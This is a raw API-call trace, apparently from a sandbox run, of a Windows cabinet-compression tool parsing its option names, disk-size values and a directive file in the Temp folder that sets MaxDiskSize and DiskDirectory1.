_strcmpi (_Str1="ClusterSize", _Str2="InfCabinetLineFormat") returned -6 [0151.763] _strcmpi (_Str1="Compress", _Str2="InfCabinetLineFormat") returned -6 [0151.763] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfCabinetLineFormat") returned -6 [0151.763] _strcmpi (_Str1="CompressionType", _Str2="InfCabinetLineFormat") returned -6 [0151.763] _strcmpi (_Str1="CompressionLevel", _Str2="InfCabinetLineFormat") returned -6 [0151.763] _strcmpi (_Str1="CompressionMemory", _Str2="InfCabinetLineFormat") returned -6 [0151.763] _strcmpi (_Str1="DestinationDir", _Str2="InfCabinetLineFormat") returned -5 [0151.763] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfCabinetLineFormat") returned -5 [0151.763] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfCabinetLineFormat") returned -5 [0151.763] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfCabinetLineFormat") returned -5 [0151.763] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfCabinetLineFormat") returned -3 [0151.763] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfCabinetLineFormat") returned -3 [0151.763] _strcmpi (_Str1="GenerateInf", _Str2="InfCabinetLineFormat") returned -2 [0151.763] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfCabinetLineFormat") returned -4 [0151.763] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="InfCabinetLineFormat") returned 20 [0151.763] _strcmpi (_Str1="Cabinet", _Str2="InfCommentString") returned -6 [0151.763] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfCommentString") returned -6 [0151.763] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfCommentString") returned -6 [0151.763] _strcmpi (_Str1="ChecksumWidth", _Str2="InfCommentString") returned -6 [0151.763] _strcmpi (_Str1="ClusterSize", _Str2="InfCommentString") returned -6 [0151.763] _strcmpi (_Str1="Compress", _Str2="InfCommentString") returned -6 [0151.763] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfCommentString") returned -6 [0151.763] _strcmpi (_Str1="CompressionType", _Str2="InfCommentString") returned -6 [0151.763] _strcmpi (_Str1="CompressionLevel", _Str2="InfCommentString") returned -6 [0151.763] _strcmpi (_Str1="CompressionMemory", _Str2="InfCommentString") returned -6 [0151.763] _strcmpi (_Str1="DestinationDir", _Str2="InfCommentString") returned -5 [0151.763] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfCommentString") returned -5 [0151.763] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfCommentString") returned -5 [0151.763] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfCommentString") returned -5 [0151.763] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfCommentString") returned -3 [0151.763] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfCommentString") returned -3 [0151.763] _strcmpi (_Str1="GenerateInf", _Str2="InfCommentString") returned -2 [0151.763] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfCommentString") returned -14 [0151.763] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfCommentString") returned -14 [0151.763] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="InfCommentString") returned 16 [0151.764] _strcmpi (_Str1="Cabinet", _Str2="InfDateFormat") returned -6 [0151.764] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfDateFormat") returned -6 [0151.764] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfDateFormat") returned -6 [0151.764] _strcmpi (_Str1="ChecksumWidth", _Str2="InfDateFormat") returned -6 [0151.764] _strcmpi (_Str1="ClusterSize", _Str2="InfDateFormat") returned -6 [0151.764] _strcmpi (_Str1="Compress", _Str2="InfDateFormat") returned -6 [0151.764] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfDateFormat") returned -6 [0151.764] _strcmpi (_Str1="CompressionType", _Str2="InfDateFormat") returned -6 [0151.764] _strcmpi (_Str1="CompressionLevel", _Str2="InfDateFormat") returned -6 [0151.764] _strcmpi (_Str1="CompressionMemory", _Str2="InfDateFormat") returned -6 [0151.764] _strcmpi (_Str1="DestinationDir", _Str2="InfDateFormat") returned -5 [0151.764] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfDateFormat") returned -5 [0151.764] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfDateFormat") returned -5 [0151.764] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfDateFormat") returned -5 [0151.764] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfDateFormat") returned -3 [0151.764] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfDateFormat") returned -3 [0151.764] _strcmpi (_Str1="GenerateInf", _Str2="InfDateFormat") returned -2 [0151.764] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfDateFormat") returned -1 [0151.764] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfDateFormat") returned -1 [0151.764] _strcmpi (_Str1="InfCommentString", _Str2="InfDateFormat") returned -1 [0151.764] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="InfDateFormat") returned 13 [0151.764] _strcmpi (_Str1="mm/dd/yy", _Str2="mm/dd/yy") returned 0 [0151.764] _strcmpi (_Str1="Cabinet", _Str2="InfDiskHeader") returned -6 [0151.764] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfDiskHeader") returned -6 [0151.764] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfDiskHeader") returned -6 [0151.764] _strcmpi (_Str1="ChecksumWidth", _Str2="InfDiskHeader") returned -6 [0151.764] _strcmpi (_Str1="ClusterSize", _Str2="InfDiskHeader") returned -6 [0151.764] _strcmpi (_Str1="Compress", _Str2="InfDiskHeader") returned -6 [0151.764] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfDiskHeader") returned -6 [0151.764] _strcmpi (_Str1="CompressionType", _Str2="InfDiskHeader") returned -6 [0151.764] _strcmpi (_Str1="CompressionLevel", _Str2="InfDiskHeader") returned -6 [0151.764] _strcmpi (_Str1="CompressionMemory", _Str2="InfDiskHeader") returned -6 [0151.764] _strcmpi (_Str1="DestinationDir", _Str2="InfDiskHeader") returned -5 [0151.765] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfDiskHeader") returned -5 [0151.765] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfDiskHeader") returned -5 [0151.765] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfDiskHeader") returned -5 [0151.765] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfDiskHeader") returned -3 [0151.765] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfDiskHeader") returned -3 [0151.765] _strcmpi (_Str1="GenerateInf", _Str2="InfDiskHeader") returned -2 [0151.765] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfDiskHeader") returned -1 [0151.765] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfDiskHeader") returned -1 [0151.765] _strcmpi (_Str1="InfCommentString", _Str2="InfDiskHeader") returned -1 [0151.765] _strcmpi (_Str1="InfDateFormat", _Str2="InfDiskHeader") returned -8 [0151.765] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="InfDiskHeader") returned 13 [0151.765] _strcmpi (_Str1="Cabinet", _Str2="InfDiskLineFormat") returned -6 [0151.765] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfDiskLineFormat") returned -6 [0151.765] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfDiskLineFormat") returned -6 [0151.765] _strcmpi (_Str1="ChecksumWidth", _Str2="InfDiskLineFormat") returned -6 [0151.765] _strcmpi (_Str1="ClusterSize", _Str2="InfDiskLineFormat") returned -6 [0151.765] _strcmpi (_Str1="Compress", _Str2="InfDiskLineFormat") returned -6 [0151.765] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfDiskLineFormat") returned -6 [0151.765] _strcmpi (_Str1="CompressionType", _Str2="InfDiskLineFormat") returned -6 [0151.765] _strcmpi (_Str1="CompressionLevel", _Str2="InfDiskLineFormat") returned -6 [0151.765] _strcmpi (_Str1="CompressionMemory", _Str2="InfDiskLineFormat") returned -6 [0151.765] _strcmpi (_Str1="DestinationDir", _Str2="InfDiskLineFormat") returned -5 [0151.765] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfDiskLineFormat") returned -5 [0151.765] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfDiskLineFormat") returned -5 [0151.765] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfDiskLineFormat") returned -5 [0151.765] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfDiskLineFormat") returned -3 [0151.765] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfDiskLineFormat") returned -3 [0151.765] _strcmpi (_Str1="GenerateInf", _Str2="InfDiskLineFormat") returned -2 [0151.765] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfDiskLineFormat") returned -1 [0151.765] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="InfDiskLineFormat") returned 17 [0151.766] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="InfFileHeader") returned 13 [0151.766] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="InfFileLineFormat") returned 17 [0151.766] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="InfFileName") returned 11 [0151.766] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="InfFooter") returned 9 [0151.766] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="InfFooter1") returned 10 [0151.766] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="InfFooter2") returned 10 [0151.766] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="InfFooter3") returned 10 [0151.767] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="InfFooter4") returned 10 [0151.767] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="InfHeader") returned 9 [0151.767] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="InfHeader1") returned 10 [0151.767] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="InfHeader2") returned 10 [0151.767] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="InfHeader3") returned 10 [0151.767] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="InfHeader4") returned 10 [0151.768] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="InfHeader5") returned 10 [0151.768] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="InfHeader6") returned 10 [0151.768] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="InfSectionOrder") returned 15 [0151.768] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="MaxCabinetSize") returned 14 [0151.768] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="MaxDiskFileCount") returned 16 [0151.768] _strcmpi (_Str1="224", _Str2="360K") returned -1 [0151.768] atol (_Str="362496") returned 362496 [0151.768] atol (_Str="224") returned 224 [0151.768] _strcmpi (_Str1="224", _Str2="720K") returned -5 [0151.768] atol (_Str="730112") returned 730112 [0151.768] atol (_Str="224") returned 224 [0151.768] _strcmpi (_Str1="224", _Str2="1.2M") returned 1 [0151.768] atol (_Str="1213952") returned 1213952 [0151.768] atol (_Str="224") returned 224 [0151.768] _strcmpi (_Str1="224", _Str2="1.25M") returned 1 [0151.768] atol (_Str="1250304") returned 1250304 [0151.768] atol (_Str="224") returned 224 [0151.768] _strcmpi (_Str1="224", _Str2="1.44M") returned 1 [0151.769] atol (_Str="1457664") returned 1457664 [0151.769] atol (_Str="224") returned 224 [0151.769] _strcmpi (_Str1="224", _Str2="1.68M") returned 1 [0151.769] atol (_Str="1716224") returned 1716224 [0151.769] atol (_Str="224") returned 224 [0151.769] _strcmpi (_Str1="224", _Str2="DMF168") returned -50 [0151.769] atol (_Str="1716224") returned 1716224 [0151.769] atol (_Str="224") returned 224 [0151.769] _strcmpi (_Str1="224", _Str2="CDROM") returned -49 [0151.769] atol (_Str="681984000") returned 681984000 [0151.769] atol (_Str="224") returned 224 [0151.769] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="MaxDiskSize") returned 11 [0151.769] _strcmpi (_Str1="1457664", _Str2="360K") returned -2 [0151.769] atol (_Str="362496") returned 362496 [0151.769] atol (_Str="1457664") returned 1457664 [0151.769] _strcmpi (_Str1="1457664", _Str2="720K") returned -6 [0151.769] atol (_Str="730112") returned 730112 [0151.769] atol (_Str="1457664") returned 1457664 [0151.769] _strcmpi (_Str1="1457664", _Str2="1.2M") returned 6 [0151.769] atol (_Str="1213952") returned 1213952 [0151.769] atol (_Str="1457664") returned 1457664 [0151.769] _strcmpi (_Str1="1457664", _Str2="1.25M") returned 6 [0151.769] atol (_Str="1250304") returned 1250304 [0151.769] atol (_Str="1457664") returned 1457664 [0151.769] _strcmpi (_Str1="1457664", _Str2="1.44M") returned 6 [0151.769] atol (_Str="1457664") returned 1457664 [0151.769] atol (_Str="1457664") returned 1457664 [0151.769] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="MaxErrors") returned 9 [0151.770] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="ReservePerCabinetSize") returned 21 [0151.770] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="ReservePerDataBlockSize") returned 23 [0151.770] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="ReservePerFolderSize") returned 20 [0151.770] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="RptFileName") returned 11 [0151.770] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="SourceDir") returned 9 [0151.770] _vsnprintf (in: _DstBuf=0xdedc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded18 | out: _DstBuf="UniqueFiles") returned 11 [0151.770] _strcmpi (_Str1="1", _Str2="No") returned -61 [0151.770] _strcmpi (_Str1="1", _Str2="Off") returned -62 [0151.770] _strcmpi (_Str1="1", _Str2="False") returned -53 [0151.770] _open (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\DB32.bin" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\db32.bin"), _OpenFlag=32768) returned 3 [0151.771] malloc (_Size=0x438) returned 0x2bbe40 [0151.771] malloc (_Size=0x1000) returned 0x2bc280 [0151.771] _read (in: _FileHandle=3, _DstBuf=0xdf310, _MaxCharCount=0x3 | out: _DstBuf=0xdf310*) returned 3 [0151.771] _lseek (_FileHandle=3, _Offset=0, _Origin=0) returned 0 [0151.771] _read (in: _FileHandle=3, _DstBuf=0x2bc280, _MaxCharCount=0x1000 | out: _DstBuf=0x2bc280*) returned 159 [0151.771] strpbrk (_Str=".set MaxDiskSize=0", _Control=" \x09") returned=" MaxDiskSize=0" [0151.771] strspn (_Str=" MaxDiskSize=0", _Control=" \x09") returned 0x1 [0151.771] strpbrk (_Str="MaxDiskSize=0", _Control=" \x09") returned 0x0 [0151.771] strspn (_Str=".set MaxDiskSize=0", _Control=" \x09") returned 0x0 [0151.771] strspn (_Str=".set MaxDiskSize=0", _Control=" \x09") returned 0x0 [0151.771] strpbrk (_Str="set MaxDiskSize=0", _Control=" \x09") returned=" MaxDiskSize=0" [0151.771] _strcmpi (_Str1="Define", _Str2="set") returned -15 [0151.771] _strcmpi (_Str1="Delete", _Str2="set") returned -15 [0151.771] _strcmpi (_Str1="Dump", _Str2="set") returned -15 [0151.771] _strcmpi (_Str1="InfBegin", _Str2="set") returned -10 [0151.771] _strcmpi (_Str1="InfEnd", _Str2="set") returned -10 [0151.771] _strcmpi (_Str1="InfWrite", _Str2="set") returned -10 [0151.771] _strcmpi (_Str1="InfWriteCabinet", _Str2="set") returned -10 [0151.771] _strcmpi (_Str1="InfWriteDisk", _Str2="set") returned -10 [0151.771] _strcmpi (_Str1="New", _Str2="set") returned -5 [0151.771] _strcmpi (_Str1="Option", _Str2="set") returned -4 [0151.771] _strcmpi (_Str1="Set", _Str2="set") returned 0 [0151.771] strspn (_Str=" MaxDiskSize=0", _Control=" \x09") returned 0x1 [0151.772] strpbrk (_Str="MaxDiskSize=0", _Control="= \x09") returned="=0" [0151.772] strspn (_Str="=0", _Control=" \x09") returned 0x0 [0151.772] strspn (_Str="0", _Control=" \x09") returned 0x0 [0151.772] strpbrk (_Str="0", _Control=" \x09") returned 0x0 [0151.772] strspn (_Str="", _Control=" \x09") returned 0x0 [0151.772] _strcmpi (_Str1="", _Str2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\DB32.bin") returned -99 [0151.772] _vsnprintf (in: _DstBuf=0xde540, _MaxCount=0x1ff, _Format="%s", _ArgList=0xde498 | out: _DstBuf="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\DB32.bin") returned 45 [0151.772] _vsnprintf (in: _DstBuf=0xde56f, _MaxCount=0x1d0, _Format="%d", _ArgList=0xde498 | out: _DstBuf="1") returned 1 [0151.772] printf (_Format="%s%s\r") returned 76 [0151.798] _strcmpi (_Str1="0", _Str2="360K") returned -3 [0151.798] atol (_Str="362496") returned 362496 [0151.798] atol (_Str="0") returned 0 [0151.798] _strcmpi (_Str1="0", _Str2="720K") returned -7 [0151.798] atol (_Str="730112") returned 730112 [0151.798] atol (_Str="0") returned 0 [0151.798] _strcmpi (_Str1="0", _Str2="1.2M") returned -1 [0151.798] atol (_Str="1213952") returned 1213952 [0151.798] atol (_Str="0") returned 0 [0151.798] _strcmpi (_Str1="0", _Str2="1.25M") returned -1 [0151.798] atol (_Str="1250304") returned 1250304 [0151.798] atol (_Str="0") returned 0 [0151.798] _strcmpi (_Str1="0", _Str2="1.44M") returned -1 [0151.798] atol (_Str="1457664") returned 1457664 [0151.798] atol (_Str="0") returned 0 [0151.798] _strcmpi (_Str1="0", _Str2="1.68M") returned -1 [0151.798] atol (_Str="1716224") returned 1716224 [0151.798] atol (_Str="0") returned 0 [0151.799] _strcmpi (_Str1="0", _Str2="DMF168") returned -52 [0151.799] atol (_Str="1716224") returned 1716224 [0151.799] atol (_Str="0") returned 0 [0151.799] _strcmpi (_Str1="0", _Str2="CDROM") returned -51 [0151.799] atol (_Str="681984000") returned 681984000 [0151.799] atol (_Str="0") returned 0 [0151.799] _strcmpi (_Str1="Cabinet", _Str2="MaxDiskSize") returned -10 [0151.799] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="MaxDiskSize") returned -10 [0151.799] _strcmpi (_Str1="CabinetNameTemplate", _Str2="MaxDiskSize") returned -10 [0151.799] _strcmpi (_Str1="ChecksumWidth", _Str2="MaxDiskSize") returned -10 [0151.799] _strcmpi (_Str1="ClusterSize", _Str2="MaxDiskSize") returned -10 [0151.799] _strcmpi (_Str1="Compress", _Str2="MaxDiskSize") returned -10 [0151.799] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="MaxDiskSize") returned -10 [0151.799] _strcmpi (_Str1="CompressionType", _Str2="MaxDiskSize") returned -10 [0151.799] _strcmpi (_Str1="CompressionLevel", _Str2="MaxDiskSize") returned -10 [0151.799] _strcmpi (_Str1="CompressionMemory", _Str2="MaxDiskSize") returned -10 [0151.799] _strcmpi (_Str1="DestinationDir", _Str2="MaxDiskSize") returned -9 [0151.799] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="MaxDiskSize") returned -9 [0151.799] _strcmpi (_Str1="DiskLabelTemplate", _Str2="MaxDiskSize") returned -9 [0151.799] _strcmpi (_Str1="DoNotCopyFiles", _Str2="MaxDiskSize") returned -9 [0151.799] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="MaxDiskSize") returned -7 [0151.799] _strcmpi (_Str1="FolderSizeThreshold", _Str2="MaxDiskSize") returned -7 [0151.799] _strcmpi (_Str1="GenerateInf", _Str2="MaxDiskSize") returned -6 [0151.799] _strcmpi (_Str1="InfCabinetHeader", _Str2="MaxDiskSize") returned -4 [0151.799] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="MaxDiskSize") returned -4 [0151.799] _strcmpi (_Str1="InfCommentString", _Str2="MaxDiskSize") returned -4 [0151.799] _strcmpi (_Str1="InfDateFormat", _Str2="MaxDiskSize") returned -4 [0151.799] _strcmpi (_Str1="InfDiskHeader", _Str2="MaxDiskSize") returned -4 [0151.799] _strcmpi (_Str1="InfDiskLineFormat", _Str2="MaxDiskSize") returned -4 [0151.799] _strcmpi (_Str1="InfFileHeader", _Str2="MaxDiskSize") returned -4 [0151.799] _strcmpi (_Str1="InfFileLineFormat", _Str2="MaxDiskSize") returned -4 [0151.799] _strcmpi (_Str1="InfFileName", _Str2="MaxDiskSize") returned -4 [0151.799] _strcmpi (_Str1="InfFooter", _Str2="MaxDiskSize") returned -4 [0151.799] _strcmpi (_Str1="InfFooter1", _Str2="MaxDiskSize") returned -4 [0151.799] _strcmpi (_Str1="InfFooter2", _Str2="MaxDiskSize") returned -4 [0151.799] _strcmpi (_Str1="InfFooter3", _Str2="MaxDiskSize") returned -4 [0151.799] _strcmpi (_Str1="InfFooter4", _Str2="MaxDiskSize") returned -4 [0151.799] _strcmpi (_Str1="InfHeader", _Str2="MaxDiskSize") returned -4 [0151.799] _strcmpi (_Str1="InfHeader1", _Str2="MaxDiskSize") returned -4 [0151.799] _strcmpi (_Str1="InfHeader2", _Str2="MaxDiskSize") returned -4 [0151.800] _strcmpi (_Str1="InfHeader3", _Str2="MaxDiskSize") returned -4 [0151.800] _strcmpi (_Str1="InfHeader4", _Str2="MaxDiskSize") returned -4 [0151.800] _strcmpi (_Str1="InfHeader5", _Str2="MaxDiskSize") returned -4 [0151.800] _strcmpi (_Str1="InfHeader6", _Str2="MaxDiskSize") returned -4 [0151.800] _strcmpi (_Str1="InfSectionOrder", _Str2="MaxDiskSize") returned -4 [0151.800] _strcmpi (_Str1="MaxCabinetSize", _Str2="MaxDiskSize") returned -1 [0151.800] _strcmpi (_Str1="MaxDiskFileCount", _Str2="MaxDiskSize") returned -13 [0151.800] _strcmpi (_Str1="MaxDiskSize", _Str2="MaxDiskSize") returned 0 [0151.800] _strcmpi (_Str1="0", _Str2="360K") returned -3 [0151.800] atol (_Str="362496") returned 362496 [0151.800] atol (_Str="0") returned 0 [0151.800] _strcmpi (_Str1="0", _Str2="720K") returned -7 [0151.800] atol (_Str="730112") returned 730112 [0151.800] atol (_Str="0") returned 0 [0151.800] _strcmpi (_Str1="0", _Str2="1.2M") returned -1 [0151.800] atol (_Str="1213952") returned 1213952 [0151.800] atol (_Str="0") returned 0 [0151.800] _strcmpi (_Str1="0", _Str2="1.25M") returned -1 [0151.800] atol (_Str="1250304") returned 1250304 [0151.800] atol (_Str="0") returned 0 [0151.800] _strcmpi (_Str1="0", _Str2="1.44M") returned -1 [0151.800] atol (_Str="1457664") returned 1457664 [0151.800] atol (_Str="0") returned 0 [0151.800] _strcmpi (_Str1="0", _Str2="1.68M") returned -1 [0151.800] atol (_Str="1716224") returned 1716224 [0151.800] atol (_Str="0") returned 0 [0151.800] _strcmpi (_Str1="0", _Str2="DMF168") returned -52 [0151.800] atol (_Str="1716224") returned 1716224 [0151.800] atol (_Str="0") returned 0 [0151.800] _strcmpi (_Str1="0", _Str2="CDROM") returned -51 [0151.800] atol (_Str="681984000") returned 681984000 [0151.800] atol (_Str="0") returned 0 [0151.800] free (_Block=0x2b7050) [0151.800] _strcmpi (_Str1="MaxDiskSize", _Str2="MaxDiskSize") returned 0 [0151.800] _strcmpi (_Str1="0", _Str2="360K") returned -3 [0151.800] atol (_Str="362496") returned 362496 [0151.800] atol (_Str="0") returned 0 [0151.800] _strcmpi (_Str1="0", _Str2="720K") returned -7 [0151.801] atol (_Str="730112") returned 730112 [0151.801] atol (_Str="0") returned 0 [0151.801] _strcmpi (_Str1="0", _Str2="1.2M") returned -1 [0151.801] atol (_Str="1213952") returned 1213952 [0151.801] atol (_Str="0") returned 0 [0151.801] _strcmpi (_Str1="0", _Str2="1.25M") returned -1 [0151.801] atol (_Str="1250304") returned 1250304 [0151.801] atol (_Str="0") returned 0 [0151.801] _strcmpi (_Str1="0", _Str2="1.44M") returned -1 [0151.801] atol (_Str="1457664") returned 1457664 [0151.801] atol (_Str="0") returned 0 [0151.801] _strcmpi (_Str1="0", _Str2="1.68M") returned -1 [0151.801] atol (_Str="1716224") returned 1716224 [0151.801] atol (_Str="0") returned 0 [0151.801] _strcmpi (_Str1="0", _Str2="DMF168") returned -52 [0151.801] atol (_Str="1716224") returned 1716224 [0151.801] atol (_Str="0") returned 0 [0151.801] _strcmpi (_Str1="0", _Str2="CDROM") returned -51 [0151.801] atol (_Str="681984000") returned 681984000 [0151.801] atol (_Str="0") returned 0 [0151.801] strpbrk (_Str=".set DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned=" DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"" [0151.801] strspn (_Str=" DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned 0x1 [0151.801] strpbrk (_Str="DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned 0x0 [0151.801] strspn (_Str=".set DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned 0x0 [0151.801] strspn (_Str=".set DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned 0x0 [0151.801] strpbrk (_Str="set DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned=" DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"" [0151.801] _strcmpi (_Str1="Define", _Str2="set") returned -15 [0151.801] _strcmpi (_Str1="Delete", _Str2="set") returned -15 [0151.801] _strcmpi (_Str1="Dump", _Str2="set") returned -15 [0151.801] _strcmpi (_Str1="InfBegin", _Str2="set") returned -10 [0151.801] _strcmpi (_Str1="InfEnd", _Str2="set") returned -10 [0151.801] _strcmpi (_Str1="InfWrite", _Str2="set") returned -10 [0151.801] _strcmpi (_Str1="InfWriteCabinet", _Str2="set") returned -10 [0151.801] _strcmpi (_Str1="InfWriteDisk", _Str2="set") returned -10 [0151.801] _strcmpi (_Str1="New", _Str2="set") returned -5 [0151.801] _strcmpi (_Str1="Option", _Str2="set") returned -4 [0151.801] _strcmpi (_Str1="Set", _Str2="set") returned 0 [0151.801] strspn (_Str=" DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned 0x1 [0151.802] strpbrk (_Str="DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control="= \x09") returned="=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"" [0151.802] strspn (_Str="=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned 0x0 [0151.802] strspn (_Str="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"", _Control=" \x09") returned 0x0 [0151.802] strspn (_Str="", _Control=" \x09") returned 0x0 [0151.802] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\DB32.bin", _Str2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\DB32.bin") returned 0 [0151.802] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _Str2="360K") returned 48 [0151.802] atol (_Str="362496") returned 362496 [0151.802] atol (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0 [0151.802] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _Str2="720K") returned 44 [0151.802] atol (_Str="730112") returned 730112 